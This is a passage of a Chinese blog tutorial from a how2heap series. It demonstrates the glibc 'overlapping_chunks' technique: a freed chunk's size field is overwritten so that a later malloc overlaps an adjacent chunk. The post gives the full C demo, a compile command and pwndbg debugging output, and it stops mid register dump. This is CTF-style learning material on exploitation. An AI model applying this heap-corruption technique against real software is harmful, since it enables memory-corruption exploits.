从零开始学howtoheap:理解fastbins的堆块重叠的问题1

how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的overlapping_chunks攻击

这是一个简单的堆块重叠问题,首先申请 3 个 chunk
这三个 chunk 分别申请到了:
p1:0x603010
p2:0x603110
p3:0x603210
给他们分别填充"1""2""3"

free 掉 p2
p2 被放到 unsorted bin 中
现在假设有一个堆溢出漏洞,可以覆盖 p2
为了保证堆块稳定性,我们至少需要让 prev_inuse 为 1,确保 p1 不会被认为是空闲的堆块
我们将 p2 的大小设置为 385, 这样的话我们就能用 376 大小的空间

现在让我们分配另一个块,其大小等于块p2注入大小的数据大小
malloc 将会把前面 free 的 p2 分配给我们(p2 的 size 已经被改掉了)

p4 分配在 0x603110 到 0x603288 这一区域
p3 从 0x603210 到 0x603288
p4 应该与 p3 重叠,在这种情况下 p4 包括所有 p3
这时候通过编辑 p4 就可以修改 p3 的内容,修改 p3 也可以修改 p4 的内容

 

2.overlapping_chunks演示程序

#include <stdio.h>
         #include <stdlib.h>
         #include <string.h>
         #include <stdint.h>
         
         int main(int argc , char* argv[]){
         
             intptr_t *p1,*p2,*p3,*p4;
             fprintf(stderr, "这是一个简单的堆块重叠问题,首先申请 3 个 chunk\n");
         
             p1 = malloc(0x100 - 8);
             p2 = malloc(0x100 - 8);
             p3 = malloc(0x80 - 8);
             fprintf(stderr, "这三个 chunk 分别申请到了:\np1:%p\np2:%p\np3:%p\n给他们分别填充\"1\"\"2\"\"3\"\n\n", p1, p2, p3);
         
             memset(p1, '1', 0x100 - 8);
             memset(p2, '2', 0x100 - 8);
             memset(p3, '3', 0x80 - 8);
         
             fprintf(stderr, "free 掉 p2\n");
             free(p2);
             fprintf(stderr, "p2 被放到 unsorted bin 中\n");
         
             fprintf(stderr, "现在假设有一个堆溢出漏洞,可以覆盖 p2\n");
             fprintf(stderr, "为了保证堆块稳定性,我们至少需要让 prev_inuse 为 1,确保 p1 不会被认为是空闲的堆块\n");
         
             int evil_chunk_size = 0x181;
             int evil_region_size = 0x180 - 8;
             fprintf(stderr, "我们将 p2 的大小设置为 %d, 这样的话我们就能用 %d 大小的空间\n",evil_chunk_size, evil_region_size);
         
             *(p2-1) = evil_chunk_size; // 覆盖 p2 的 size
         
             fprintf(stderr, "\n现在让我们分配另一个块,其大小等于块p2注入大小的数据大小\n");
             fprintf(stderr, "malloc 将会把前面 free 的 p2 分配给我们(p2 的 size 已经被改掉了)\n");
             p4 = malloc(evil_region_size);
         
             fprintf(stderr, "\np4 分配在 %p 到 %p 这一区域\n", (char *)p4, (char *)p4+evil_region_size);
             fprintf(stderr, "p3 从 %p 到 %p\n", (char *)p3, (char *)p3+0x80-8);
             fprintf(stderr, "p4 应该与 p3 重叠,在这种情况下 p4 包括所有 p3\n");
         
             fprintf(stderr, "这时候通过编辑 p4 就可以修改 p3 的内容,修改 p3 也可以修改 p4 的内容\n\n");
         
             fprintf(stderr, "接下来验证一下,现在 p3 与 p4:\n");
             fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
             fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);
         
             fprintf(stderr, "\n如果我们使用 memset(p4, '4', %d), 将会:\n", evil_region_size);
             memset(p4, '4', evil_region_size);
             fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
             fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);
         
             fprintf(stderr, "\n那么之后再 memset(p3, '3', 80), 将会:\n");
             memset(p3, '3', 80);
             fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
             fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);
         }     

3.调试overlapping_chunks

3.1 获得可执行程序 

gcc -g overlapping_chunks.c -o overlapping_chunks

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gcc -g overlapping_chunks.c -o overlapping_chunks
root@pwn_test1604:/ctf/work/how2heap# ll
total 232
drwxr-xr-x  2 1000 1000  4096 Feb 12 01:24 ./
drwxr-xr-x 12 1000 1000  4096 Feb  8 13:06 ../
-rwxr-xr-x  1 root root 11168 Feb  9 02:26 fastbin_dup*
-rw-r--r--  1 1000 1000  1383 Feb  9 02:25 fastbin_dup.c
-rwxr-xr-x  1 root root 11176 Feb 10 03:42 fastbin_dup_consolidate*
-rw-r--r--  1 1000 1000   957 Feb 10 03:27 fastbin_dup_consolidate.c
-rwxr-xr-x  1 root root 15432 Feb  9 04:05 fastbin_dup_into_stack*
-rw-r--r--  1 1000 1000  2124 Feb  9 03:52 fastbin_dup_into_stack.c
-rwx--x--x  1 1000 1000 15224 Feb  8 13:26 first_fit*
-rwxr-xr-x  1 root root 21408 Feb  8 15:02 first_fit1*
-rw-r--r--  1 1000 1000  1591 Feb  8 13:16 first_fit.c
-rw-------  1 root root 12944 Feb 12 01:13 .gdb_history
-rwxr-xr-x  1 root root 15744 Feb 11 13:15 house_of_lore*
-rw-r--r--  1 1000 1000  2794 Feb 11 13:15 house_of_lore.c
-rwxr-xr-x  1 root root 11240 Feb 11 03:43 house_of_spirit*
-rw-r--r--  1 1000 1000  1575 Feb 11 03:43 house_of_spirit.c
-rwxr-xr-x  1 root root 15512 Feb 12 01:24 overlapping_chunks*
-rw-r--r--  1 1000 1000  2929 Feb 12 01:23 overlapping_chunks.c
-rwxr-xr-x  1 root root 15624 Feb 11 04:37 poison_null_byte*
-rw-r--r--  1 1000 1000  2853 Feb 11 04:36 poison_null_byte.c
-rwxr-xr-x  1 root root 10176 Feb  8 15:20 uaf*
-rw-r--r--  1 1000 1000  1023 Feb  8 15:19 uaf.c
-rwxr-xr-x  1 root root 15544 Feb 10 05:39 unsafe_unlink*
-rw-r--r--  1 1000 1000  2965 Feb 10 05:39 unsafe_unlink.c
root@pwn_test1604:/ctf/work/how2heap# gdb ./overlapping_chunks
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./overlapping_chunks...done.
pwndbg> r
Starting program: /ctf/work/how2heap/overlapping_chunks 
这是一个简单的堆块重叠问题,首先申请 3 个 chunk
这三个 chunk 分别申请到了:
p1:0x603010
p2:0x603110
p3:0x603210
给他们分别填充"1""2""3"

free 掉 p2
p2 被放到 unsorted bin 中
现在假设有一个堆溢出漏洞,可以覆盖 p2
为了保证堆块稳定性,我们至少需要让 prev_inuse 为 1,确保 p1 不会被认为是空闲的堆块
我们将 p2 的大小设置为 385, 这样的话我们就能用 376 大小的空间

现在让我们分配另一个块,其大小等于块p2注入大小的数据大小
malloc 将会把前面 free 的 p2 分配给我们(p2 的 size 已经被改掉了)

p4 分配在 0x603110 到 0x603288 这一区域
p3 从 0x603210 到 0x603288
p4 应该与 p3 重叠,在这种情况下 p4 包括所有 p3
这时候通过编辑 p4 就可以修改 p3 的内容,修改 p3 也可以修改 p4 的内容

接下来验证一下,现在 p3 与 p4:
p4 = 22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222
p3 = 33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333�

如果我们使用 memset(p4, '4', 376), 将会:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�
p3 = 44444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�

那么之后再 memset(p3, '3', 80), 将会:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444�
p3 = 33333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444�
[Inferior 1 (process 114) exited normally]
pwndbg> 

 

3.3 第二次调试程序

3.3.1 ​设置断点第14行并走起

这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写unsorted bin 中空闲堆块的size,改变下一次malloc可以返回的堆块大小。

​ 直接动手调试,首先申请三个堆块。

pwndbg> b 14
Breakpoint 2 at 0x4006dd: file overlapping_chunks.c, line 14.
pwndbg> c
Continuing.
这是一个简单的堆块重叠问题,首先申请 3 个 chunk

Breakpoint 2, main (argc=1, argv=0x7fffffffe6a8) at overlapping_chunks.c:14
14                   fprintf(stderr, "这三个 chunk 分别申请到了:\np1:%p\np2:%p\np3:%p\n给他们分别填充\"1\"\"2\"\"3\"\n\n", p1, p2, p3);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603210 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x603210 ◂— 0x0
 RDI  0x0
 RSI  0x603280 ◂— 0x0
 R8   0x603000 ◂— 0x0
 R9   0xd
 R10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x603280 ◂— 0x0
 R11  0x0
 R12  0x400590 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe580 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8d1 ◂— '/ctf/work/how2heap/overlapping_chunks'
 RIP  0x400
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值